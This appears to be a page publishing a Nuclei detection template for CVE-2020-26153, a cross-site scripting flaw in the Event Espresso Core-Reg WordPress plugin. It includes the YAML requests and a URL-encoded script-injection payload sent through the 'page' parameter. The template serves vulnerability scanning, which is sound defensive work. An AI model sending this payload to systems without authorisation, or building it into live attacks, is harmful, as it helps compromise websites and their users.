Event Espresso Core-Reg 4.10.7.p - Cross-Site Scripting

ID: CVE-2020-26153

Severity: medium

Author: pikpikcu

Tags: cve2020,cve,xss,wordpress,wp-plugin,eventespresso

Description

Event Espresso Core-Reg 4.10.7.p is vulnerable to cross-site scripting in wp-content/plugins/event-espresso-core-reg/admin_pages/messages/templates/ee_msg_admin_overview.template.php and allows remote attackers to inject arbitrary web script or HTML via the page parameter.

YAML Source

id: CVE-2020-26153

info:
  name: Event Espresso Core-Reg 4.10.7.p - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: |
    Event Espresso Core-Reg 4.10.7.p is vulnerable to cross-site scripting in wp-content/plugins/event-espresso-core-reg/admin_pages/messages/templates/ee_msg_admin_overview.template.php and allows remote attackers to inject arbitrary web script or HTML via the page parameter.
  impact: |
    Successful exploitation of this vulnerability could lead to the execution of arbitrary script code in the context of the affected website, potentially allowing an attacker to steal sensitive information or perform unauthorized actions.
  remediation: |
    Upgrade to Event Espresso Core-Reg version 4.10.7.p or later to mitigate this vulnerability.
  reference:
    - https://labs.nettitude.com/blog/cve-2020-26153-event-espresso-core-cross-site-scripting/
    - https://github.com/eventespresso/event-espresso-core/compare/4.10.6.p...4.10.7.p
    - https://nvd.nist.gov/vuln/detail/CVE-2020-26153
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-26153
    cwe-id: CWE-79
    epss-score: 0.00141
    epss-percentile: 0.4979
    cpe: cpe:2.3:a:eventespresso:event_espresso:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: eventespresso
    product: "event_espresso"
    framework: wordpress
  tags: cve2020,cve,xss,wordpress,wp-plugin,eventespresso
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/event-espresso-core-reg/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Event Espresso'
          - 'Tested up to:'
        condition: and

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/event-espresso-core-reg/admin_pages/messages/templates/ee_msg_admin_overview.template.php?page=%22%2F%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Cb"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"/></script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 500
# digest: 4a0a004730450221008d2f0e22d1d5910cfceadcd8a3ad457f09373fe5d3ec7b722f0ca89b09836b3e0220762f9f649a562fe0e32fc1e87c3f4129c43368c7804a6ca4d0de29a12df1117d:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-26153.yaml"

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